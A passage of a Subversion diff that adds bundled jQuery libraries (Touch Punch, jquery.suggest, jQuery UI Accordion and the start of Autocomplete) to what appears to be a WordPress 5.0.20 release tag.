s(t,a.table_hotkeys.current_row)})}else{r=this;a.hotkeys.add(r,b.hotkeys_opts,n("."+b.class_prefix+r))}})};a.table_hotkeys.current_row=null;a.table_hotkeys.defaults={cycle_expr:"tr",class_prefix:"vim-",selected_suffix:"current",destructive_suffix:"destructive",hotkeys_opts:{disableInInput:true,type:"keypress"},checkbox_expr:":checkbox",next_key:"j",prev_key:"k",mark_key:"x",start_row_index:2,highlight_first:false,highlight_last:false,next_page_link_cb:false,prev_page_link_cb:false}})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.ui.touch-punch.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.ui.touch-punch.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.ui.touch-punch.js	(revision 56912)
@@ -0,0 +1,11 @@
+/*!
+ * jQuery UI Touch Punch 0.2.2
+ *
+ * Copyright 2011, Dave Furfero
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ *
+ * Depends:
+ *  jquery.ui.widget.js
+ *  jquery.ui.mouse.js
+ */
+(function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown")};c._touchMove=function(f){if(!a){return}this._touchMoved=true;d(f,"mousemove")};c._touchEnd=function(f){if(!a){return}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click")}a=false};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f)}})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/suggest.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/suggest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/suggest.js	(revision 56912)
@@ -0,0 +1,316 @@
+/*
+ *	jquery.suggest 1.1b - 2007-08-06
+ * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
+ * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
+ *
+ *	Uses code and techniques from following libraries:
+ *	1. http://www.dyve.net/jquery/?autocomplete
+ *	2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
+ *
+ *	All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
+ *	Feel free to do whatever you want with this file
+ *
+ */
+
+(function($) {
+
+	$.suggest = function(input, options) {
+		var $input, $results, timeout, prevLength, cache, cacheSize;
+
+		$input = $(input).attr("autocomplete", "off");
+		$results = $("<ul/>");
+
+		timeout = false;		// hold timeout ID for suggestion results to appear
+		prevLength = 0;			// last recorded length of $input.val()
+		cache = [];				// cache MRU list
+		cacheSize = 0;			// size of cache in chars (bytes?)
+
+		$results.addClass(options.resultsClass).appendTo('body');
+
+
+		resetPosition();
+		$(window)
+			.on( 'load', resetPosition ) // just in case user is changing size of page while loading
+			.on( 'resize', resetPosition );
+
+		$input.blur(function() {
+			setTimeout(function() { $results.hide() }, 200);
+		});
+
+		$input.keydown(processKey);
+
+		function resetPosition() {
+			// requires jquery.dimension plugin
+			var offset = $input.offset();
+			$results.css({
+				top: (offset.top + input.offsetHeight) + 'px',
+				left: offset.left + 'px'
+			});
+		}
+
+
+		function processKey(e) {
+
+			// handling up/down/escape requires results to be visible
+			// handling enter/tab requires that AND a result to be selected
+			if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
+				(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {
+
+				if (e.preventDefault)
+					e.preventDefault();
+				if (e.stopPropagation)
+					e.stopPropagation();
+
+				e.cancelBubble = true;
+				e.returnValue = false;
+
+				switch(e.keyCode) {
+
+					case 38: // up
+						prevResult();
+						break;
+
+					case 40: // down
+						nextResult();
+						break;
+
+					case 9:  // tab
+					case 13: // return
+						selectCurrentResult();
+						break;
+
+					case 27: //	escape
+						$results.hide();
+						break;
+
+				}
+
+			} else if ($input.val().length != prevLength) {
+
+				if (timeout)
+					clearTimeout(timeout);
+				timeout = setTimeout(suggest, options.delay);
+				prevLength = $input.val().length;
+
+			}
+
+
+		}
+
+
+		function suggest() {
+
+			var q = $.trim($input.val()), multipleSepPos, items;
+
+			if ( options.multiple ) {
+				multipleSepPos = q.lastIndexOf(options.multipleSep);
+				if ( multipleSepPos != -1 ) {
+					q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
+				}
+			}
+			if (q.length >= options.minchars) {
+
+				cached = checkCache(q);
+
+				if (cached) {
+
+					displayItems(cached['items']);
+
+				} else {
+
+					$.get(options.source, {q: q}, function(txt) {
+
+						$results.hide();
+
+						items = parseTxt(txt, q);
+
+						displayItems(items);
+						addToCache(q, items, txt.length);
+
+					});
+
+				}
+
+			} else {
+
+				$results.hide();
+
+			}
+
+		}
+
+
+		function checkCache(q) {
+			var i;
+			for (i = 0; i < cache.length; i++)
+				if (cache[i]['q'] == q) {
+					cache.unshift(cache.splice(i, 1)[0]);
+					return cache[0];
+				}
+
+			return false;
+
+		}
+
+		function addToCache(q, items, size) {
+			var cached;
+			while (cache.length && (cacheSize + size > options.maxCacheSize)) {
+				cached = cache.pop();
+				cacheSize -= cached['size'];
+			}
+
+			cache.push({
+				q: q,
+				size: size,
+				items: items
+				});
+
+			cacheSize += size;
+
+		}
+
+		function displayItems(items) {
+			var html = '', i;
+			if (!items)
+				return;
+
+			if (!items.length) {
+				$results.hide();
+				return;
+			}
+
+			resetPosition(); // when the form moves after the page has loaded
+
+			for (i = 0; i < items.length; i++)
+				html += '<li>' + items[i] + '</li>';
+
+			$results.html(html).show();
+
+			$results
+				.children('li')
+				.mouseover(function() {
+					$results.children('li').removeClass(options.selectClass);
+					$(this).addClass(options.selectClass);
+				})
+				.click(function(e) {
+					e.preventDefault();
+					e.stopPropagation();
+					selectCurrentResult();
+				});
+
+		}
+
+		function parseTxt(txt, q) {
+
+			var items = [], tokens = txt.split(options.delimiter), i, token;
+
+			// parse returned data for non-empty items
+			for (i = 0; i < tokens.length; i++) {
+				token = $.trim(tokens[i]);
+				if (token) {
+					token = token.replace(
+						new RegExp(q, 'ig'),
+						function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
+						);
+					items[items.length] = token;
+				}
+			}
+
+			return items;
+		}
+
+		function getCurrentResult() {
+			var $currentResult;
+			if (!$results.is(':visible'))
+				return false;
+
+			$currentResult = $results.children('li.' + options.selectClass);
+
+			if (!$currentResult.length)
+				$currentResult = false;
+
+			return $currentResult;
+
+		}
+
+		function selectCurrentResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult) {
+				if ( options.multiple ) {
+					if ( $input.val().indexOf(options.multipleSep) != -1 ) {
+						$currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' ';
+					} else {
+						$currentVal = "";
+					}
+					$input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' );
+					$input.focus();
+				} else {
+					$input.val($currentResult.text());
+				}
+				$results.hide();
+				$input.trigger('change');
+
+				if (options.onSelect)
+					options.onSelect.apply($input[0]);
+
+			}
+
+		}
+
+		function nextResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.next()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:first-child').addClass(options.selectClass);
+
+		}
+
+		function prevResult() {
+			var $currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.prev()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:last-child').addClass(options.selectClass);
+
+		}
+	}
+
+	$.fn.suggest = function(source, options) {
+
+		if (!source)
+			return;
+
+		options = options || {};
+		options.multiple = options.multiple || false;
+		options.multipleSep = options.multipleSep || ",";
+		options.source = source;
+		options.delay = options.delay || 100;
+		options.resultsClass = options.resultsClass || 'ac_results';
+		options.selectClass = options.selectClass || 'ac_over';
+		options.matchClass = options.matchClass || 'ac_match';
+		options.minchars = options.minchars || 2;
+		options.delimiter = options.delimiter || '\n';
+		options.onSelect = options.onSelect || false;
+		options.maxCacheSize = options.maxCacheSize || 65536;
+
+		this.each(function() {
+			new $.suggest(this, options);
+		});
+
+		return this;
+
+	};
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/suggest.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/suggest.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/suggest.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(a){a.suggest=function(b,c){function d(){var a=o.offset();p.css({top:a.top+b.offsetHeight+"px",left:a.left+"px"})}function e(a){if(/27$|38$|40$/.test(a.keyCode)&&p.is(":visible")||/^13$|^9$/.test(a.keyCode)&&k())switch(a.preventDefault&&a.preventDefault(),a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0,a.returnValue=!1,a.keyCode){case 38:n();break;case 40:m();break;case 9:case 13:l();break;case 27:p.hide()}else o.val().length!=r&&(q&&clearTimeout(q),q=setTimeout(f,c.delay),r=o.val().length)}function f(){var b,d,e=a.trim(o.val());c.multiple&&(b=e.lastIndexOf(c.multipleSep),-1!=b&&(e=a.trim(e.substr(b+c.multipleSep.length)))),e.length>=c.minchars?(cached=g(e),cached?i(cached.items):a.get(c.source,{q:e},function(a){p.hide(),d=j(a,e),i(d),h(e,d,a.length)})):p.hide()}function g(a){var b;for(b=0;b<s.length;b++)if(s[b].q==a)return s.unshift(s.splice(b,1)[0]),s[0];return!1}function h(a,b,d){for(var e;s.length&&t+d>c.maxCacheSize;)e=s.pop(),t-=e.size;s.push({q:a,size:d,items:b}),t+=d}function i(b){var e,f="";if(b){if(!b.length)return void p.hide();for(d(),e=0;e<b.length;e++)f+="<li>"+b[e]+"</li>";p.html(f).show(),p.children("li").mouseover(function(){p.children("li").removeClass(c.selectClass),a(this).addClass(c.selectClass)}).click(function(a){a.preventDefault(),a.stopPropagation(),l()})}}function j(b,d){var e,f,g=[],h=b.split(c.delimiter);for(e=0;e<h.length;e++)f=a.trim(h[e]),f&&(f=f.replace(new RegExp(d,"ig"),function(a){return'<span class="'+c.matchClass+'">'+a+"</span>"}),g[g.length]=f);return g}function k(){var a;return p.is(":visible")?(a=p.children("li."+c.selectClass),a.length||(a=!1),a):!1}function l(){$currentResult=k(),$currentResult&&(c.multiple?(-1!=o.val().indexOf(c.multipleSep)?$currentVal=o.val().substr(0,o.val().lastIndexOf(c.multipleSep)+c.multipleSep.length)+" ":$currentVal="",o.val($currentVal+$currentResult.text()+c.multipleSep+" "),o.focus()):o.val($currentResult.text()),p.hide(),o.trigger("change"),c.onSelect&&c.onSelect.apply(o[0]))}function m(){$currentResult=k(),$currentResult?$currentResult.removeClass(c.selectClass).next().addClass(c.selectClass):p.children("li:first-child").addClass(c.selectClass)}function n(){var a=k();a?a.removeClass(c.selectClass).prev().addClass(c.selectClass):p.children("li:last-child").addClass(c.selectClass)}var o,p,q,r,s,t;o=a(b).attr("autocomplete","off"),p=a("<ul/>"),q=!1,r=0,s=[],t=0,p.addClass(c.resultsClass).appendTo("body"),d(),a(window).on("load",d).on("resize",d),o.blur(function(){setTimeout(function(){p.hide()},200)}),o.keydown(e)},a.fn.suggest=function(b,c){return b?(c=c||{},c.multiple=c.multiple||!1,c.multipleSep=c.multipleSep||",",c.source=b,c.delay=c.delay||100,c.resultsClass=c.resultsClass||"ac_results",c.selectClass=c.selectClass||"ac_over",c.matchClass=c.matchClass||"ac_match",c.minchars=c.minchars||2,c.delimiter=c.delimiter||"\n",c.onSelect=c.onSelect||!1,c.maxCacheSize=c.maxCacheSize||65536,this.each(function(){new a.suggest(this,c)}),this):void 0}}(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/accordion.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/accordion.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/accordion.js	(revision 56912)
@@ -0,0 +1,590 @@
+/*!
+ * jQuery UI Accordion 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/accordion/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.accordion", {
+	version: "1.11.4",
+	options: {
+		active: 0,
+		animate: {},
+		collapsible: false,
+		event: "click",
+		header: "> li > :first-child,> :not(li):even",
+		heightStyle: "auto",
+		icons: {
+			activeHeader: "ui-icon-triangle-1-s",
+			header: "ui-icon-triangle-1-e"
+		},
+
+		// callbacks
+		activate: null,
+		beforeActivate: null
+	},
+
+	hideProps: {
+		borderTopWidth: "hide",
+		borderBottomWidth: "hide",
+		paddingTop: "hide",
+		paddingBottom: "hide",
+		height: "hide"
+	},
+
+	showProps: {
+		borderTopWidth: "show",
+		borderBottomWidth: "show",
+		paddingTop: "show",
+		paddingBottom: "show",
+		height: "show"
+	},
+
+	_create: function() {
+		var options = this.options;
+		this.prevShow = this.prevHide = $();
+		this.element.addClass( "ui-accordion ui-widget ui-helper-reset" )
+			// ARIA
+			.attr( "role", "tablist" );
+
+		// don't allow collapsible: false and active: false / null
+		if ( !options.collapsible && (options.active === false || options.active == null) ) {
+			options.active = 0;
+		}
+
+		this._processPanels();
+		// handle negative values
+		if ( options.active < 0 ) {
+			options.active += this.headers.length;
+		}
+		this._refresh();
+	},
+
+	_getCreateEventData: function() {
+		return {
+			header: this.active,
+			panel: !this.active.length ? $() : this.active.next()
+		};
+	},
+
+	_createIcons: function() {
+		var icons = this.options.icons;
+		if ( icons ) {
+			$( "<span>" )
+				.addClass( "ui-accordion-header-icon ui-icon " + icons.header )
+				.prependTo( this.headers );
+			this.active.children( ".ui-accordion-header-icon" )
+				.removeClass( icons.header )
+				.addClass( icons.activeHeader );
+			this.headers.addClass( "ui-accordion-icons" );
+		}
+	},
+
+	_destroyIcons: function() {
+		this.headers
+			.removeClass( "ui-accordion-icons" )
+			.children( ".ui-accordion-header-icon" )
+				.remove();
+	},
+
+	_destroy: function() {
+		var contents;
+
+		// clean up main element
+		this.element
+			.removeClass( "ui-accordion ui-widget ui-helper-reset" )
+			.removeAttr( "role" );
+
+		// clean up headers
+		this.headers
+			.removeClass( "ui-accordion-header ui-accordion-header-active ui-state-default " +
+				"ui-corner-all ui-state-active ui-state-disabled ui-corner-top" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-expanded" )
+			.removeAttr( "aria-selected" )
+			.removeAttr( "aria-controls" )
+			.removeAttr( "tabIndex" )
+			.removeUniqueId();
+
+		this._destroyIcons();
+
+		// clean up content panels
+		contents = this.headers.next()
+			.removeClass( "ui-helper-reset ui-widget-content ui-corner-bottom " +
+				"ui-accordion-content ui-accordion-content-active ui-state-disabled" )
+			.css( "display", "" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-hidden" )
+			.removeAttr( "aria-labelledby" )
+			.removeUniqueId();
+
+		if ( this.options.heightStyle !== "content" ) {
+			contents.css( "height", "" );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		if ( key === "event" ) {
+			if ( this.options.event ) {
+				this._off( this.headers, this.options.event );
+			}
+			this._setupEvents( value );
+		}
+
+		this._super( key, value );
+
+		// setting collapsible: false while collapsed; open first panel
+		if ( key === "collapsible" && !value && this.options.active === false ) {
+			this._activate( 0 );
+		}
+
+		if ( key === "icons" ) {
+			this._destroyIcons();
+			if ( value ) {
+				this._createIcons();
+			}
+		}
+
+		// #5332 - opacity doesn't cascade to positioned elements in IE
+		// so we need to add the disabled class to the headers and panels
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+			this.headers.add( this.headers.next() )
+				.toggleClass( "ui-state-disabled", !!value );
+		}
+	},
+
+	_keydown: function( event ) {
+		if ( event.altKey || event.ctrlKey ) {
+			return;
+		}
+
+		var keyCode = $.ui.keyCode,
+			length = this.headers.length,
+			currentIndex = this.headers.index( event.target ),
+			toFocus = false;
+
+		switch ( event.keyCode ) {
+			case keyCode.RIGHT:
+			case keyCode.DOWN:
+				toFocus = this.headers[ ( currentIndex + 1 ) % length ];
+				break;
+			case keyCode.LEFT:
+			case keyCode.UP:
+				toFocus = this.headers[ ( currentIndex - 1 + length ) % length ];
+				break;
+			case keyCode.SPACE:
+			case keyCode.ENTER:
+				this._eventHandler( event );
+				break;
+			case keyCode.HOME:
+				toFocus = this.headers[ 0 ];
+				break;
+			case keyCode.END:
+				toFocus = this.headers[ length - 1 ];
+				break;
+		}
+
+		if ( toFocus ) {
+			$( event.target ).attr( "tabIndex", -1 );
+			$( toFocus ).attr( "tabIndex", 0 );
+			toFocus.focus();
+			event.preventDefault();
+		}
+	},
+
+	_panelKeyDown: function( event ) {
+		if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) {
+			$( event.currentTarget ).prev().focus();
+		}
+	},
+
+	refresh: function() {
+		var options = this.options;
+		this._processPanels();
+
+		// was collapsed or no panel
+		if ( ( options.active === false && options.collapsible === true ) || !this.headers.length ) {
+			options.active = false;
+			this.active = $();
+		// active false only when collapsible is true
+		} else if ( options.active === false ) {
+			this._activate( 0 );
+		// was active, but active panel is gone
+		} else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+			// all remaining panel are disabled
+			if ( this.headers.length === this.headers.find(".ui-state-disabled").length ) {
+				options.active = false;
+				this.active = $();
+			// activate previous panel
+			} else {
+				this._activate( Math.max( 0, options.active - 1 ) );
+			}
+		// was active, active panel still exists
+		} else {
+			// make sure active index is correct
+			options.active = this.headers.index( this.active );
+		}
+
+		this._destroyIcons();
+
+		this._refresh();
+	},
+
+	_processPanels: function() {
+		var prevHeaders = this.headers,
+			prevPanels = this.panels;
+
+		this.headers = this.element.find( this.options.header )
+			.addClass( "ui-accordion-header ui-state-default ui-corner-all" );
+
+		this.panels = this.headers.next()
+			.addClass( "ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom" )
+			.filter( ":not(.ui-accordion-content-active)" )
+			.hide();
+
+		// Avoid memory leaks (#10056)
+		if ( prevPanels ) {
+			this._off( prevHeaders.not( this.headers ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	_refresh: function() {
+		var maxHeight,
+			options = this.options,
+			heightStyle = options.heightStyle,
+			parent = this.element.parent();
+
+		this.active = this._findActive( options.active )
+			.addClass( "ui-accordion-header-active ui-state-active ui-corner-top" )
+			.removeClass( "ui-corner-all" );
+		this.active.next()
+			.addClass( "ui-accordion-content-active" )
+			.show();
+
+		this.headers
+			.attr( "role", "tab" )
+			.each(function() {
+				var header = $( this ),
+					headerId = header.uniqueId().attr( "id" ),
+					panel = header.next(),
+					panelId = panel.uniqueId().attr( "id" );
+				header.attr( "aria-controls", panelId );
+				panel.attr( "aria-labelledby", headerId );
+			})
+			.next()
+				.attr( "role", "tabpanel" );
+
+		this.headers
+			.not( this.active )
+			.attr({
+				"aria-selected": "false",
+				"aria-expanded": "false",
+				tabIndex: -1
+			})
+			.next()
+				.attr({
+					"aria-hidden": "true"
+				})
+				.hide();
+
+		// make sure at least one header is in the tab order
+		if ( !this.active.length ) {
+			this.headers.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active.attr({
+				"aria-selected": "true",
+				"aria-expanded": "true",
+				tabIndex: 0
+			})
+			.next()
+				.attr({
+					"aria-hidden": "false"
+				});
+		}
+
+		this._createIcons();
+
+		this._setupEvents( options.event );
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			this.element.siblings( ":visible" ).each(function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			});
+
+			this.headers.each(function() {
+				maxHeight -= $( this ).outerHeight( true );
+			});
+
+			this.headers.next()
+				.each(function() {
+					$( this ).height( Math.max( 0, maxHeight -
+						$( this ).innerHeight() + $( this ).height() ) );
+				})
+				.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.headers.next()
+				.each(function() {
+					maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() );
+				})
+				.height( maxHeight );
+		}
+	},
+
+	_activate: function( index ) {
+		var active = this._findActive( index )[ 0 ];
+
+		// trying to activate the already active panel
+		if ( active === this.active[ 0 ] ) {
+			return;
+		}
+
+		// trying to collapse, simulate a click on the currently active header
+		active = active || this.active[ 0 ];
+
+		this._eventHandler({
+			target: active,
+			currentTarget: active,
+			preventDefault: $.noop
+		});
+	},
+
+	_findActive: function( selector ) {
+		return typeof selector === "number" ? this.headers.eq( selector ) : $();
+	},
+
+	_setupEvents: function( event ) {
+		var events = {
+			keydown: "_keydown"
+		};
+		if ( event ) {
+			$.each( event.split( " " ), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			});
+		}
+
+		this._off( this.headers.add( this.headers.next() ) );
+		this._on( this.headers, events );
+		this._on( this.headers.next(), { keydown: "_panelKeyDown" });
+		this._hoverable( this.headers );
+		this._focusable( this.headers );
+	},
+
+	_eventHandler: function( event ) {
+		var options = this.options,
+			active = this.active,
+			clicked = $( event.currentTarget ),
+			clickedIsActive = clicked[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : clicked.next(),
+			toHide = active.next(),
+			eventData = {
+				oldHeader: active,
+				oldPanel: toHide,
+				newHeader: collapsing ? $() : clicked,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if (
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.headers.index( clicked );
+
+		// when the call to ._toggle() comes after the class changes
+		// it causes a very odd bug in IE 8 (see #6720)
+		this.active = clickedIsActive ? $() : clicked;
+		this._toggle( eventData );
+
+		// switch classes
+		// corner classes on the previously active header stay after the animation
+		active.removeClass( "ui-accordion-header-active ui-state-active" );
+		if ( options.icons ) {
+			active.children( ".ui-accordion-header-icon" )
+				.removeClass( options.icons.activeHeader )
+				.addClass( options.icons.header );
+		}
+
+		if ( !clickedIsActive ) {
+			clicked
+				.removeClass( "ui-corner-all" )
+				.addClass( "ui-accordion-header-active ui-state-active ui-corner-top" );
+			if ( options.icons ) {
+				clicked.children( ".ui-accordion-header-icon" )
+					.removeClass( options.icons.header )
+					.addClass( options.icons.activeHeader );
+			}
+
+			clicked
+				.next()
+				.addClass( "ui-accordion-content-active" );
+		}
+	},
+
+	_toggle: function( data ) {
+		var toShow = data.newPanel,
+			toHide = this.prevShow.length ? this.prevShow : data.oldPanel;
+
+		// handle activating a panel during the animation for another activation
+		this.prevShow.add( this.prevHide ).stop( true, true );
+		this.prevShow = toShow;
+		this.prevHide = toHide;
+
+		if ( this.options.animate ) {
+			this._animate( toShow, toHide, data );
+		} else {
+			toHide.hide();
+			toShow.show();
+			this._toggleComplete( data );
+		}
+
+		toHide.attr({
+			"aria-hidden": "true"
+		});
+		toHide.prev().attr({
+			"aria-selected": "false",
+			"aria-expanded": "false"
+		});
+		// if we're switching panels, remove the old header from the tab order
+		// if we're opening from collapsed state, remove the previous header from the tab order
+		// if we're collapsing, then keep the collapsing header in the tab order
+		if ( toShow.length && toHide.length ) {
+			toHide.prev().attr({
+				"tabIndex": -1,
+				"aria-expanded": "false"
+			});
+		} else if ( toShow.length ) {
+			this.headers.filter(function() {
+				return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0;
+			})
+			.attr( "tabIndex", -1 );
+		}
+
+		toShow
+			.attr( "aria-hidden", "false" )
+			.prev()
+				.attr({
+					"aria-selected": "true",
+					"aria-expanded": "true",
+					tabIndex: 0
+				});
+	},
+
+	_animate: function( toShow, toHide, data ) {
+		var total, easing, duration,
+			that = this,
+			adjust = 0,
+			boxSizing = toShow.css( "box-sizing" ),
+			down = toShow.length &&
+				( !toHide.length || ( toShow.index() < toHide.index() ) ),
+			animate = this.options.animate || {},
+			options = down && animate.down || animate,
+			complete = function() {
+				that._toggleComplete( data );
+			};
+
+		if ( typeof options === "number" ) {
+			duration = options;
+		}
+		if ( typeof options === "string" ) {
+			easing = options;
+		}
+		// fall back from options to animation in case of partial down settings
+		easing = easing || options.easing || animate.easing;
+		duration = duration || options.duration || animate.duration;
+
+		if ( !toHide.length ) {
+			return toShow.animate( this.showProps, duration, easing, complete );
+		}
+		if ( !toShow.length ) {
+			return toHide.animate( this.hideProps, duration, easing, complete );
+		}
+
+		total = toShow.show().outerHeight();
+		toHide.animate( this.hideProps, {
+			duration: duration,
+			easing: easing,
+			step: function( now, fx ) {
+				fx.now = Math.round( now );
+			}
+		});
+		toShow
+			.hide()
+			.animate( this.showProps, {
+				duration: duration,
+				easing: easing,
+				complete: complete,
+				step: function( now, fx ) {
+					fx.now = Math.round( now );
+					if ( fx.prop !== "height" ) {
+						if ( boxSizing === "content-box" ) {
+							adjust += fx.now;
+						}
+					} else if ( that.options.heightStyle !== "content" ) {
+						fx.now = Math.round( total - toHide.outerHeight() - adjust );
+						adjust = 0;
+					}
+				}
+			});
+	},
+
+	_toggleComplete: function( data ) {
+		var toHide = data.oldPanel;
+
+		toHide
+			.removeClass( "ui-accordion-content-active" )
+			.prev()
+				.removeClass( "ui-corner-top" )
+				.addClass( "ui-corner-all" );
+
+		// Work around for rendering bug in IE (#5421)
+		if ( toHide.length ) {
+			toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className;
+		}
+		this._trigger( "activate", null, data );
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/autocomplete.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/autocomplete.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/autocomplete.js	(revision 56912)
@@ -0,0 +1,628 @@
+/*!
+ * jQuery UI Autocomplete 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/autocomplete/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position",
+			"./menu"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget( "ui.autocomplete", {
+	version: "1.11.4",
+	defaultElement: "<input>",
+	options: {
+		appendTo: null,
+		autoFocus: false,
+		delay: 300,
+		minLength: 1,
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		source: null,
+
+		// callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		response: null,
+		search: null,
+		select: null
+	},
+
+	requestIndex: 0,
+	pending: 0,
+
+	_create: function() {
+		// Some browsers only repeat keydown events, not keypress events,
+		// so we use the suppressKeyPress flag to determine if we've already
+		// handled the keydown event. #7269
+		// Unfortunately the code for & in keypress is the same as the up arrow,
+		// so we use the suppressKeyPressRepeat flag to avoid handling keypress
+		// events when we know the keydown event was used to modify the
+		// search term. #7799
+		var suppressKeyPress, suppressKeyPressRepeat, suppressInput,
+			nodeName = this.element[ 0 ].nodeName.toLowerCase(),
+			isTextarea = nodeName === "textarea",
+			isInput = nodeName === "input";
+
+		this.isMultiLine =
+			// Textareas are always multi-line
+			isTextarea ? true :
+			// Inputs are always single-line, even if inside a contentEditable element
+			// IE also treats inputs as contentEditable
+			isInput ? false :
+			// All other element types are determined by whether or not they're contentEditable
+			this.element.prop( "isContentEditable" );
+
+		this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ];
+		this.isNewMenu = true;
+
+		this.element
+			.addClass( "ui-autocomplete-input" )
+			.attr( "autocomplete", "off" );
+
+		this._on( this.element, {
+			keydown: function( event ) {
+				if ( this.element.prop( "readOnly" ) ) {
+					suppressKeyPress = true;
+					suppressInput = true;
+					suppressKeyPressRepeat = true;
+					return;
+				}
+
+				suppressKeyPress = false;
+				suppressInput = false;
+				suppressKeyPressRepeat = false;
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					suppressKeyPress = true;
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					suppressKeyPress = true;
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					suppressKeyPress = true;
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					suppressKeyPress = true;
+					this._keyEvent( "next", event );
+					break;
+				case keyCode.ENTER:
+					// when menu is open and has focus
+					if ( this.menu.active ) {
